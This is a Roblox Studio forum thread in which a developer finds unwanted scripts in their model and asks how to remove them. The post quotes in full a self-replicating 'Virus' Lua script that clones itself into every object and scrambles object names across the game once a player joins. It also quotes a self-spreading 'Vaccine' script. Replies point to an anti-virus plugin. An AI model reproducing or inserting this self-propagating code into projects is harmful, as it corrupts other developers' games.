generic image
Processing...
  • Games
  • Catalog
  • Develop
  • Robux
  • Search in Players
  • Search in Games
  • Search in Catalog
  • Search in Groups
  • Search in Library
  • Log In
  • Sign Up
  • Games
  • Catalog
  • Develop
  • Robux
   
ROBLOX Forum » Game Creation and Development » ROBLOX Studio
Home Search
 

Re: Virus Scrpits and Joints

Previous Thread :: Next Thread 
ckhaloguy is not online. ckhaloguy
Joined: 24 Nov 2010
Total Posts: 27
12 Jun 2014 08:06 AM
Recently I've noticed a few unwanted scripts and joints labelled "Virus" hanging out in my properties window. Knowing that I've just created this model and hadn't put down and scripts or joints I am oddly confused by this.

The Virus scripts look like this...

script.Name = "Virus"

if script.Parent.className ~= "Weld" then
w = Instance.new("Weld")
w.Name = "Virus"
w.Parent = script.Parent
script.Parent = w
end

function gc(o)
for num,obj in ipairs(o:GetChildren()) do
if obj.className ~= "Weld" then
local string = ""

for a=1,math.random(10,100) do
string = string .. string.char(math.random(1,200))
end
obj.Name = string

for num2,obj2 in ipairs(obj:GetChildren()) do
gc(obj2)
end

end
end
end

function Infect()

gc(workspace)
gc(game.StarterPack)
gc(game.Lighting)

end

function getchil(object)

local can = 0

if object.Name == "Virus" then
if object.className == "Weld" or object.className == "Script" then
can = 1
end
end

if object:FindFirstChild("Virus") then
can = 2
end

if can == 0 then
local a = script:clone()
a.Disabled = false
a.Parent = object
end

if can ~= 1 then
for num,obj in ipairs(object:GetChildren()) do
getchil(obj)
end
end

for num,obj in ipairs(object:GetChildren()) do
getchil(obj)
end

end

if workspace:FindFirstChild("Virus") == nil then
getchil(workspace)
end

infected = false

game.Players.ChildAdded:connect(function(p)
if infected == true then return end
if p.Name ~= "Player" then
Infect(workspace)
infected = true
end
end)

And in addition to that there are also "Vaccine" scripts

function spread() -- created by culinwino3000
local stuff = game.Workspace:GetChildren()
for i = 1, #stuff do
if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
local clone = script:clone()
clone.Parent = stuff[i]
end
end
end

while true do
wait(.1)
spread()
end

function GetAllItems(mdl)
local objs = {}
function Search(obj)
if obj~=workspace then
table.insert(objs,obj)
end
if #obj:GetChildren() > 0 then
for i, v in ipairs(obj:GetChildren()) do
Search(v)
end
end
end
Search(mdl)
return objs
end



for i, v in ipairs(GetAllItems(workspace)) do
if v.className == "Script" then
if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
v.Parent = game.Lighting --Just in case it has a removal prevention.
t = Instance.new("ObjectValue")
t.Name = "IsAVirus"
t.Parent = v
end
end
end

for i, v in ipairs(game.Lighting:GetChildren()) do
if v:findFirstChild("IsAVirus") then --Only remove the viruses.
v:remove()
end
end


print("Virus debugged! All clean!")

And yes I've seen that name at the top of the script. Knowingly that I've never met the person, nor have I've heard of him/her I'm confused on why this is happening. It's obvious that the initial intent is to "infect" all blocks but how do I get rid of it?
Report Abuse
abxyxbx is not online. abxyxbx
Joined: 10 Nov 2007
Total Posts: 1152
12 Jun 2014 05:48 PM
You could try having someone whip up a script that removes all weld objects from all children of Workspace, that should do it.
Report Abuse
ckhaloguy is not online. ckhaloguy
Joined: 24 Nov 2010
Total Posts: 27
12 Jun 2014 07:10 PM
My Issue was resolved by Ro-Defender. At anti-virus plugin.
Report Abuse
Previous Thread :: Next Thread 
Page 1 of 1
 
 
ROBLOX Forum » Game Creation and Development » ROBLOX Studio
   
 
   
  • About Us
  • Jobs
  • Blog
  • Parents
  • Help
  • Terms
  • Privacy

©2017 Roblox Corporation. Roblox, the Roblox logo, Robux, Bloxy, and Powering Imagination are among our registered and unregistered trademarks in the U.S. and other countries.



Progress
Starting Roblox...
Connecting to Players...
R R

Roblox is now loading. Get ready to play!

R R

You're moments away from getting into the game!

Click here for help

Check Remember my choice and click Launch Application in the dialog box above to join games faster in the future!

Gameplay sponsored by:
Loading 0% - Starting game...
Get more with Builders Club! Join Builders Club
Choose Your Avatar
I have an account
generic image